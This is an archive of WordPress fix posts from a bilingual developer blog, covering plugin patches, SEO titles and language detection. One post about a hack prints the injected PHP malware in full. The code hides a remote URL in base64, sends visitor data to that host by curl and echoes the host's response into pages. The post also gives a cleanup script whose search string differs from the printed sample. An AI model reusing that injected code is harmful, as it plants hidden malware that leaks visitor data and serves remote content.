Tag Archives: Wordpress

WordPress: smooth slider and qTranslate [solved]

WordPress extension Smooth Slider is a great choice for implementing a post+thumbnail slider in your site.

However, by default it does not work with qTranslate.

If you want smooth slider to show the post in several languages (the ones you defined used qTranslate), edit /wp-content/plugins/smooth-slider/slider_versions/j.php.

Change from (around line 50):

$rs_post = $wpdb->get_results("SELECT * FROM $posts_table WHERE ID = $id", OBJECT);
$data = $rs_post[0];
$post_title = stripslashes($data->post_title);
$post_title = str_replace('"', '', $post_title);
$slider_content = $data->post_content;

To:

$rs_post = $wpdb->get_results("SELECT * FROM $posts_table WHERE ID = $id", OBJECT);
$data = $rs_post[0];
 
// make multilang titles with qtranslate
$post_title = stripslashes(qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage($data->post_title));
$post_title = str_replace('"', '', $post_title);
// make multilang excerpts(contents) with qtranslate
$slider_content = qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage($data->post_content);

And if your permalinks are not working, use the qtrans_convertURL($permalink) to convert permalinks too.

WordPress: WP Category post list and qTranslate issues [SOLVED]

WP Category post list and qTranslate are two of the plugins I usually use when developing websites with WordPress.

When using both of them together, all different post titles are concatenated to one big title (which contains the titles in all languages concatenated).

To fix this, simply edit wp-content/plugins/wp-category-posts-list/includes/wp_cpl_output_get.php and change from:

/** Add up the actual permalink and post title */
                $post_output .= '<a href="' . get_permalink($post->ID) . '" title="' . __('Permalink to: ', 'wp-cat-list-itg') . $post->post_title . '" target="' . ((false == $op['open_in'])? '_blank' : '_self') . '">' . $post->post_title . '</a>';

to

if (function_exists('qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage')) {
				$post->post_title = esc_html(qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage($post->post_title));
			}
 
                /** Add up the actual permalink and post title */
                $post_output .= '<a href="' . get_permalink($post->ID) . '" title="' . __('Permalink to: ', 'wp-cat-list-itg') . $post->post_title . '" target="' . ((false == $op['open_in'])? '_blank' : '_self') . '">' . $post->post_title . '</a>';

And your titles will be displayed correctly in each language :)

Hacked site: apologies

Some hours ago I noticed my site had been hacked. Every index.php, header.php, footer.php and some other files were infected with this piece of shit code:

<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL2JvdHN0YXRpc3RpY3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>

This connects to a site you don’t want to connect to, and downloads some serious ugly viruses.

I noticed this was affecting several sites under the same FTP account, and I am still guessing how did they gained access to modify my files.

In the meantime, these are the steps you should follow to fix the mess:
- Stay calm
- Backup everything (both files and databases)
- Download and install CCleaner, Lavasoft AdAware, MalwareBytes AntiMalware, NOD32, Avast…
- Reboot in SAFE MODE
- Clean your computer from viruses: run the previous software…
- Restart your computer
- Run this script (put it in your root folder and run it). BIG DISCLAIMER: THIS MODIFIES YOUR FILES AND I AM NOT RESPONSIBLE IF YOUR SITE STOPS WORKING!!

<?php 
function list_files($path) {
	$exit='';
	$dir_handle = @opendir($path);
	$count = 0;
	while (false !== ($file = readdir($dir_handle))) {
		$dir = $path."/".$file;
	    if (is_dir($dir) && $file != '.' && $file !='..') {
			list_files($dir);
		} else if ($file != '.' && $file !='..' && substr($file, -4) == ".php" && $file != "fix-hacker-shit.php") {
			$file_handle = fopen($path."/".$file,'r+') or ($exit='1');
			if (filesize($path."/".$file) > 0) {
				$a = fread($file_handle, filesize($path."/".$file));
				if (strpos($a, "aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA") > 0) {
					$startcontent = substr($a, 0, stripos($a, "if (!isset(\$sRetry))"));
					$middlecontent = substr($a, stripos($a, "if (!isset(\$sRetry))"));
					$endcontent = substr($middlecontent, stripos($middlecontent, "?>"));
					/*
					echo "<textarea cols=\"125\" rows=\"25\">".$startcontent."</textarea><br>";
					echo "<textarea cols=\"125\" rows=\"25\">".$middlecontent."</textarea><br>";
					echo "<textarea cols=\"125\" rows=\"25\">".$endcontent."</textarea><br>";
					$content = str_replace("echo \$sResult; // Statistic code end", "// echo \$sResult; // Statistic code end", $a);
					echo "<textarea cols=\"45\" rows=\"6\">".$content."</textarea>";
					*/
					$content = $startcontent." // REMOVED HACKER SHIT\n\n".$endcontent;
//					echo "<textarea cols=\"125\" rows=\"25\">".$content."</textarea><br>";
					ftruncate($file_handle, 0);
					fwrite($file_handle, $content);
					echo "FIXED - ".$dir."<br>";
//					exit();
				}
			}
			fclose($file_handle);
		} else if (is_dir($dir) && $file != '.' && $file !='..' && substr($file, -4) != ".php") {
			echo "No PHP files found for ".$dir."<br>";
		}
		$count++;
	}
	closedir($dir_handle);
}
 
list_files($_SERVER['DOCUMENT_ROOT']);
 
?>

- Change your FTP, mysql and every goddam password
- Update your wordpress, plugins and themes to their last version
- Update your FTP client and AVOID PASSWORD AUTO-REMEMBERING!
- Take a look at your logs

(Thanks to this guy for the additional information)

Al compartir posts en facebook no salen las imagenes (thumbnails) [SOLUCIONADO]

Algo común cuando se usa el theme Twenty eleven de wordpress es que las imagenes de los posts no salen automáticamente al compartirlos en facebook. Vaya, que al poner el link a un post en el estado de facebook, éste no es capaz de leer las imagenes y mostrar el thumbnail.

Sin entrar en consideraciones técnicas, lo más simple es que instaléis el plugin Add Facebook Share Thumbnail Meta, lo activéis y… problema resuelto, solucionado :)

Si queréis leer más sobre este tema, podéis hacerlo, en inglés, aqui

WP-COMFY: change post rotation interval [SOLVED]

Those of you who are using WP Comfy (aka Comfy Magazine) theme for wordpress might be wondering how to change post rotation time (interval) so that posts rotate more quickly or slowly.

Well, the fix is quite easy. Edit /wp-content/themes/wp_comfy/scripts/tabs.js, look for:

if (parseInt(this.automodeperiod)>500 && this.hottabspositions.length>1){
			this.autoruntimer=setInterval(function(){tabinstance.autorun()}, this.automodeperiod)

More slow rotation:

if (parseInt(this.automodeperiod)>1000 && this.hottabspositions.length>1){
			this.autoruntimer=setInterval(function(){tabinstance.autorun()}, this.automodeperiod)

Quicker rotation:

if (parseInt(this.automodeperiod)>100 && this.hottabspositions.length>1){
			this.autoruntimer=setInterval(function(){tabinstance.autorun()}, this.automodeperiod)

Play with the parameter value to achieve desired result!

wordpress: Ordenar archive.php por fecha con query_posts

Imagina que ya tienes en tu theme de wordpress un archivo llamado archive.php que se encarga de interpretar url’s del tipo http://www.tusitiowordpress.com/tag/tagX

¿Cómo hacer para que, además de mostrar los posts filtrados por el tag ‘tagX’, los ordene por fecha? (y no por otro criterio, como la categoría)

Fácil:
Edita tu archive.php y busca:

<?php if (have_posts()) : while (have_posts()) : the_post(); ?>

Y cámbialo por

<?php query_posts($query_string . '&orderby=date&order=DESC'); ?>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>

Nótese la presencia de la variable $query_string que nos mantiene la query que ya se hacía (filtrar por tag) a la que añadimos los parámetros de ordenación por fecha (orderby=date) y ordenación decreciente (order=DESC).

Para ver la lista de parámetros que la función query_posts acepta, puedes consultar el manual de la función query_posts.

UPDATE: ordenar y los sticky posts
Se pueden producir problemas con los post de tipo sticky (que salgan siempre en primer lugar). Si queremos ignorar los post sticky, procederemos asi en wordpress 3.1 o superior (nótese el parámetro ignore_sticky_posts=1):

<?php 
query_posts($querystring. '&orderby=date&order=DESC&ignore_sticky_posts=1' );?>

Y asi en wordpress anterior a 3.1:

<?php
$query = array(
    'post__not_in' => get_option('sticky_posts')
);
$queryObject = new WP_Query($querystring.'&orderby=date&order=DESC&'.$query);
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>

Y si tenemos instalado el plugin AStickyPostOrder (muy útil para algunos aspectos) y queremos ignorar los settings de AStickyPostOrder en archive.php procederemos asi (nótese el parámetro &aspo=vanilla)

<?php query_posts($query_string . '&orderby=date&order=DESC&aspo=vanilla'); ?>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>

¿Veis por qué AMO wordpress? Esta gente ha pensado en todo :)

WordPress: where am I? is it the frontpage? [solved]

Some days ago I talked about knowing where I am in Drupal and knowing where I am in Jooml. I’ve received some mails asking how to know where i am in wordpress (am I in the frontpage? am I in a single post view?).

You can know this by using wordpress conditional tags.

For instance,

is_home() 
    When the main blog page is being displayed. This is the page which shows the time based blog content of your site, so if you've set a static Page for the Front Page (see below), then this will only be true on the Page which you set as the "Posts page" in Administration > Settings > Reading. 
 
is_front_page() 
    When the front of the site is displayed, whether it is posts or a Page. Returns true when the main blog page is being displayed and the 'Settings > Reading ->Front page displays' is set to "Your latest posts", or when 'Settings > Reading ->Front page displays' is set to "A static page" and the "Front Page" value is the current Page being displayed. Note: this tag was added at Version 2.5. 
 
is_single() 
    When any single Post (or attachment, or custom Post Type) page is being displayed. (False for Pages)

WordPress WP-Postviews en español [RESUELTO]

El plugin el plugin wp-postviews de wordpress permite mostrar en tu theme el número de lecturas de un determinado post, utilizando la función the_views();.

Si queréis añadir esta información a vuestros posts, podréis hacerlo con una línea del tipo:

// OJO! Dentro de 'the loop'
(leido <?php if(function_exists('the_views')) { the_views(); } ?>)

Y esto mostrará algo del tipo:
Leido 25 views

Nosotros queremos que el texto ‘views’ se muestre en español.

Para ello editamos /wp-content/plugins/wp-postviews/wp-postviews.php y buscamos este código:

### Function: Display The Post Views
function the_views($display = true, $prefix = '', $postfix = '', $always = false) {
	$post_views = intval(post_custom('views'));
	$views_options = get_option('views_options');
	if ($always || should_views_be_displayed($views_options)) {
		$output = $prefix.str_replace('%VIEW_COUNT%', number_format_i18n($post_views), $views_options['template']).$postfix;
		if($display) {
			echo apply_filters('the_views', $output);
		} else {
			return apply_filters('the_views', $output);
		}
	}
	elseif (!$display) {
		return '';
	}
}

Y lo cambiamos a esto:

### Function: Display The Post Views
function the_views($display = true, $prefix = '', $postfix = '', $always = false) {
	$post_views = intval(post_custom('views'));
	$views_options = get_option('views_options');
	if ($always || should_views_be_displayed($views_options)) {
		$output = $prefix.str_replace('%VIEW_COUNT%', number_format_i18n($post_views), $views_options['template']).$postfix;
		// Added the following line to change from 'views' to 'veces' -----------
		$output = str_replace('views','veces',$output);
                // ------------------------------------------------------------------
		if($display) {
			echo apply_filters('the_views', $output);
		} else {
			return apply_filters('the_views', $output);
		}
	}
	elseif (!$display) {
		return '';
	}
}

¡Y ya está!

Autodetectar el idioma del cliente [RESUELTO]

Dos de las cuestiones que se plantean cuando un sitio web empieza a crecer es: ¿Cómo implementar un sitio web multilenguaje? y ¿Cómo detectar automáticamente el idioma del cliente? e incluso ¿Cómo redireccionar a los clientes a una web en su idioma?

Hay varias formas de hacerlo.

Método 1: Geolocalización

Se basa en tracear la IP del cliente y determinar a qué pais procede. Existen algunos servicios, como geoIPtool que nos permiten conocer la localización de nuestra IP.

Podemos utilizar en nuestro favor alguno de los ficheros javascript que ofrecen en su web o la API de detección de pais que tienen disponible

Hay muchos otros sistemas de geolocalización por ip disponibles online.
Por ejemplo: ip2location dispone de librerías para detección de localización por IP en varios lenguajes comunes: PHP, python, java, etc

Lo malo de estos sistemas es que (1) muchos son de pago y (2) están basados en bases de datos que relacionan rangos de IP’s con países. Si eres informático ya estarás pensando ¿y quién me garantiza la actualización de esos datos?

Pero los problemas no terminan ahí. Además de los derivados de depender de un servicio web externo (que puede no responder, no estar actualizado, etc) se plantea uno bastante más grave. Imaginemos la siguiente situación:

Peter es inglés y viene con su portátil a España. Llega a la Universidad de Zaragoza y se conecta a la red wifi. La IP externa que tiene es española -> nuestro sistema de geolocalización detecta que está en España -> le redirigimos a nuestra web en español. Pero Peter no entiende mucho español. Él quiere la web en inglés. We just failed

Aun asi, si queréis probar, existen varias API’s gratuitas para jugar un rato, por si sentís curiosidad:
* IP-geo
* FreeGeoIP

Método 2: Detección del idioma del navegador

Para mi este método es más correcto, pues no depende de dónde estemos, sino de quiénes seamos. Si soy inglés y resido en España, es más que probable que tenga mi navegador configurado en inglés.

¿Cómo cambiar nuestro idioma por defecto en el navegador? En Firefox, se hace desde Herramientas->Opciones->Contenido->Idiomas y allí se selecciona el idioma por defecto (y otros, con orden de preferencia).

En esencia el método consiste en leer el valor de las cabeceras enviadas por el navegador del cliente y determinar el idioma por defecto (variable $_server["http_accept_language"]). Si hacemos un var_dump de la variable en cuestión, veremos algo del tipo:

'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3'

Al lado de cada lenguaje está el parámetro q= que indica el grado de preferencia para dicho idioma. Preferencia máxima sería q=1 y mínima q=0.

Podéis leer más sobre esta cabecera en el RFC2616 (en w3.org).

Veámoslo en código. Primero un ejemplo más simplón en PHP:

function detectarIdioma(){
    $idiomas = explode(";", $_SERVER['HTTP_ACCEPT_LANGUAGE']);
    if(strpos($idiomas[0], "es") !== FALSE){
        $idioma = "es";
    }
    elseif(strpos($idiomas[0], "en") !== FALSE){
        $idioma = "en";
    }
    //Ante cualquier otro idioma devolvemos "es"
    if($idioma <> "es" && $idioma <> "en"){
        $idioma = "es";
    }
    return $idioma;
}

O su equivalente en javascript:

var language = navigator.language;
if (language == null) {
	language = navigator.userLanguage;
	if (language == null)
		language = "en";
}
language = language.substring(0, 2);

Y ahora un código un poco más completo. Me he basado en el código php de techpatterns y lo he modificado ligeramente:

Archivo de detección/redirección basándonos en el idioma del browser. Lo llamaremos detecta-idiomas.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
<?php
/*******************************************
By: Miguel Martin
Based on Harald's script: http://techpatterns.com/downloads/php_language_detection.php
Date: 2011-02-23
*******************************************/
 
// choice of redirection header or just getting language data
// to call this you only need to use the $feature parameter
function get_languages( $feature, $spare='' )
{
	// get the languages
	$a_languages = languages();
	$index = '';
	$complete = '';
	$found = false;// set to default value
	$user_languages = array();
 
	//check to see if language is set
	if ( isset( $_SERVER["HTTP_ACCEPT_LANGUAGE"] ) )
	{
		$languages = strtolower( $_SERVER["HTTP_ACCEPT_LANGUAGE"] );
		// need to remove spaces from strings to avoid error
		$languages = str_replace( ' ', '', $languages );
		$languages = explode( ",", $languages );
 
		foreach ( $languages as $language_list )
		{
			// pull out the language, place languages into array of full and primary
			// string structure:
			$temp_array = array();
			// slice out the part before ; on first step, the part before - on second, place into array
			$temp_array[0] = substr( $language_list, 0, strcspn( $language_list, ';' ) );//full language
			$temp_array[1] = substr( $language_list, 0, 2 );// cut out primary language
			//place this array into main $user_languages language array
			$user_languages[] = $temp_array;
		}
 
		//start going through each one
		for ( $i = 0; $i < count( $user_languages ); $i++ )
		{
			foreach ( $a_languages as $index => $complete )
			{
				if ( $index == $user_languages[$i][0] )
				{
					// complete language, like english (canada)
					$user_languages[$i][2] = $complete;
					// extract working language, like english
					$user_languages[$i][3] = substr( $complete, 0, strcspn( $complete, ' (' ) );
				}
			}
		}
	}
	else// if no languages found
	{
		$user_languages[0] = array( '','','','' ); //return blank array.
	}
	// print_r($user_languages);
	// return parameters
	if ( $feature == 'data' )
	{
		return $user_languages;
	}
 
	// this is just a sample, replace target language and file names with your own.
	elseif ( $feature == 'header' )
	{
		switch ( $user_languages[0][1] )// get default primary language, the first one in array that is
		{
			case 'en':
				$location = 'english.php';
				$found = true;
				break;
			case 'es':
				$location = 'spanish.php';
				$found = true;
				break;
			default:
				break;
		}
		if ( $found )
		{
			header("Location: $location");
		}
		else// make sure you have a default page to send them to
		{
			header("Location: default.php");
		}
	}
}
 
function languages()
{
// pack abbreviation/language array
// important note: you must have the default language as the last item in each major language, after all the
// en-ca type entries, so en would be last in that case
	$a_languages = array(
	'af' => 'Afrikaans',
	'sq' => 'Albanian',
	'ar-dz' => 'Arabic (Algeria)',
	'ar-bh' => 'Arabic (Bahrain)',
	'ar-eg' => 'Arabic (Egypt)',
	'ar-iq' => 'Arabic (Iraq)',
	'ar-jo' => 'Arabic (Jordan)',
	'ar-kw' => 'Arabic (Kuwait)',
	'ar-lb' => 'Arabic (Lebanon)',
	'ar-ly' => 'Arabic (libya)',
	'ar-ma' => 'Arabic (Morocco)',
	'ar-om' => 'Arabic (Oman)',
	'ar-qa' => 'Arabic (Qatar)',
	'ar-sa' => 'Arabic (Saudi Arabia)',
	'ar-sy' => 'Arabic (Syria)',
	'ar-tn' => 'Arabic (Tunisia)',
	'ar-ae' => 'Arabic (U.A.E.)',
	'ar-ye' => 'Arabic (Yemen)',
	'ar' => 'Arabic',
	'hy' => 'Armenian',
	'as' => 'Assamese',
	'az' => 'Azeri',
	'eu' => 'Basque',
	'be' => 'Belarusian',
	'bn' => 'Bengali',
	'bg' => 'Bulgarian',
	'ca' => 'Catalan',
	'zh-cn' => 'Chinese (China)',
	'zh-hk' => 'Chinese (Hong Kong SAR)',
	'zh-mo' => 'Chinese (Macau SAR)',
	'zh-sg' => 'Chinese (Singapore)',
	'zh-tw' => 'Chinese (Taiwan)',
	'zh' => 'Chinese',
	'hr' => 'Croatian',
	'cs' => 'Czech',
	'da' => 'Danish',
	'div' => 'Divehi',
	'nl-be' => 'Dutch (Belgium)',
	'nl' => 'Dutch (Netherlands)',
	'en-au' => 'English (Australia)',
	'en-bz' => 'English (Belize)',
	'en-ca' => 'English (Canada)',
	'en-ie' => 'English (Ireland)',
	'en-jm' => 'English (Jamaica)',
	'en-nz' => 'English (New Zealand)',
	'en-ph' => 'English (Philippines)',
	'en-za' => 'English (South Africa)',
	'en-tt' => 'English (Trinidad)',
	'en-gb' => 'English (United Kingdom)',
	'en-us' => 'English (United States)',
	'en-zw' => 'English (Zimbabwe)',
	'en' => 'English',
	'us' => 'English (United States)',
	'et' => 'Estonian',
	'fo' => 'Faeroese',
	'fa' => 'Farsi',
	'fi' => 'Finnish',
	'fr-be' => 'French (Belgium)',
	'fr-ca' => 'French (Canada)',
	'fr-lu' => 'French (Luxembourg)',
	'fr-mc' => 'French (Monaco)',
	'fr-ch' => 'French (Switzerland)',
	'fr' => 'French (France)',
	'mk' => 'FYRO Macedonian',
	'gd' => 'Gaelic',
	'ka' => 'Georgian',
	'de-at' => 'German (Austria)',
	'de-li' => 'German (Liechtenstein)',
	'de-lu' => 'German (Luxembourg)',
	'de-ch' => 'German (Switzerland)',
	'de' => 'German (Germany)',
	'el' => 'Greek',
	'gu' => 'Gujarati',
	'he' => 'Hebrew',
	'hi' => 'Hindi',
	'hu' => 'Hungarian',
	'is' => 'Icelandic',
	'id' => 'Indonesian',
	'it-ch' => 'Italian (Switzerland)',
	'it' => 'Italian (Italy)',
	'ja' => 'Japanese',
	'kn' => 'Kannada',
	'kk' => 'Kazakh',
	'kok' => 'Konkani',
	'ko' => 'Korean',
	'kz' => 'Kyrgyz',
	'lv' => 'Latvian',
	'lt' => 'Lithuanian',
	'ms' => 'Malay',
	'ml' => 'Malayalam',
	'mt' => 'Maltese',
	'mr' => 'Marathi',
	'mn' => 'Mongolian (Cyrillic)',
	'ne' => 'Nepali (India)',
	'nb-no' => 'Norwegian (Bokmal)',
	'nn-no' => 'Norwegian (Nynorsk)',
	'no' => 'Norwegian (Bokmal)',
	'or' => 'Oriya',
	'pl' => 'Polish',
	'pt-br' => 'Portuguese (Brazil)',
	'pt' => 'Portuguese (Portugal)',
	'pa' => 'Punjabi',
	'rm' => 'Rhaeto-Romanic',
	'ro-md' => 'Romanian (Moldova)',
	'ro' => 'Romanian',
	'ru-md' => 'Russian (Moldova)',
	'ru' => 'Russian',
	'sa' => 'Sanskrit',
	'sr' => 'Serbian',
	'sk' => 'Slovak',
	'ls' => 'Slovenian',
	'sb' => 'Sorbian',
	'es-ar' => 'Spanish (Argentina)',
	'es-bo' => 'Spanish (Bolivia)',
	'es-cl' => 'Spanish (Chile)',
	'es-co' => 'Spanish (Colombia)',
	'es-cr' => 'Spanish (Costa Rica)',
	'es-do' => 'Spanish (Dominican Republic)',
	'es-ec' => 'Spanish (Ecuador)',
	'es-sv' => 'Spanish (El Salvador)',
	'es-gt' => 'Spanish (Guatemala)',
	'es-hn' => 'Spanish (Honduras)',
	'es-mx' => 'Spanish (Mexico)',
	'es-ni' => 'Spanish (Nicaragua)',
	'es-pa' => 'Spanish (Panama)',
	'es-py' => 'Spanish (Paraguay)',
	'es-pe' => 'Spanish (Peru)',
	'es-pr' => 'Spanish (Puerto Rico)',
	'es-us' => 'Spanish (United States)',
	'es-uy' => 'Spanish (Uruguay)',
	'es-ve' => 'Spanish (Venezuela)',
	'es' => 'Spanish (Traditional Sort)',
	'sx' => 'Sutu',
	'sw' => 'Swahili',
	'sv-fi' => 'Swedish (Finland)',
	'sv' => 'Swedish',
	'syr' => 'Syriac',
	'ta' => 'Tamil',
	'tt' => 'Tatar',
	'te' => 'Telugu',
	'th' => 'Thai',
	'ts' => 'Tsonga',
	'tn' => 'Tswana',
	'tr' => 'Turkish',
	'uk' => 'Ukrainian',
	'ur' => 'Urdu',
	'uz' => 'Uzbek',
	'vi' => 'Vietnamese',
	'xh' => 'Xhosa',
	'yi' => 'Yiddish',
	'zu' => 'Zulu' );
 
	return $a_languages;
}
?>

Se puede invocar de dos formas: para obtener información sobre los idiomas, de forma que nos devuelva un vector de idiomas, siendo el primero el idioma por defecto:

Código:

<?php
include_once('detecta-idiomas.php');
var_dump(get_languages('data'));
?>

Resultado (en mi navegador):

array
  0 => 
    array
      0 => string 'es-es' (length=5)
      1 => string 'es' (length=2)
  1 => 
    array
      0 => string 'es' (length=2)
      1 => string 'es' (length=2)
      2 => string 'Spanish (Traditional Sort)' (length=26)
      3 => string 'Spanish' (length=7)
  2 => 
    array
      0 => string 'en-us' (length=5)
      1 => string 'en' (length=2)
      2 => string 'English (United States)' (length=23)
      3 => string 'English' (length=7)
  3 => 
    array
      0 => string 'en' (length=2)
      1 => string 'en' (length=2)
      2 => string 'English' (length=7)
      3 => string 'English' (length=7)

O para redirigir al cliente a una web en función del idioma de su browser. Si nos fijamos en la línea 75-76 de nuestro fichero detecta-idiomas.php vemos que la redirección para el idioma ‘es’ se hace a ‘spanish.php’. Podemos cambiar esto al gusto.

Código:

<?php
include_once('detecta-idiomas.php');
var_dump(get_languages('header'));
?>

Resultado: redirige al cliente al recurso ‘spanish.php’ (o el indicado en la línea 76 del script), si el browser está en español (es)

Método 3: añadiendo generación de cookie y posibilidad de cambio MANUAL de idioma

El método anterior funciona bastante bien, pero podemos encontrar problemas en algunos casos. Por ejemplo: Peter, inglés, viene a la Universidad de Zaragoza y se pone a trabajar en un pc de la biblioteca… cuyo navegador está en español. Peter se conecta a nuestro sitio web. La secuencia de eventos será:
- Nuestro sitio web detecta que su browser está en castellano
- Le redirige a nuestra web en castellano

Peter desea poder ver la web en inglés, por lo que permitimos que elija de manera explícita y manual el idioma tras la redirección. Pulsa la banderita inglesa y se le redirige al idioma inglés.

Pero queremos que en próximas visitas, recordemos que Peter quiere ver la web en inglés, por lo que hemos de generar una cookie que lo recuerde!

¿Y cómo generar cookies? Es muy sencillo, puedes ver ejemplos en tutorial1, tutorial2. O utilizar implementaciones existentes para drupal (con i18n)

En próximas entregas os comentaré cómo implementarlo todo en wordpress (usando WPML y xLanguage) y drupal (i18n + pathauto + language icons, de forma similar a como se hace en éste magnífico tutorial en inglés)

WordPress Yoast SEO + wp_comfy theme + Category titles

If you are using Yoast SEO plugin for wordpress with WP_Comfy theme you will notice that title’s (<title> tag) are not working as expected. Despite your settings in Yoast WordPress SEO: Titles the titles are not showing what you want.

Follow these steps to make them work:

Changes in header.php

Edit your /wp-content/themes/wp-comfy/header.php and change:

tle><?php seotitles(); ?></title>

To:

tle><?php wp_title(''); ?></title>

Changes in CATEGORY TITLE’s

In my SEO titles settings page, and more precisely in the Taxonomies->Category->title template I set the rule to:

%%title%% | %%sitename%% - %%sitedesc%%

But it failed to show the titles like I wanted.

I decided to make a quick (and dirty) fix in order to make it work:
- Edit \wp-content\plugins\wordpress-seo\frontend\class-frontend.php. Look for:

} else if ( is_category() || is_tag() || is_tax() ) {
			$term = $wp_query->get_queried_object();
			$title = trim( wpseo_get_term_meta( $term, $term->taxonomy, 'title' ) );

And change it to:

} else if ( is_category() || is_tag() || is_tax() ) {
			$term = $wp_query->get_queried_object();
			//$title = trim( wpseo_get_term_meta( $term, $term->taxonomy, 'title' ) );
			$title = $title . '  | '.get_bloginfo('name').' - '.get_bloginfo('description');

And you are ready to go!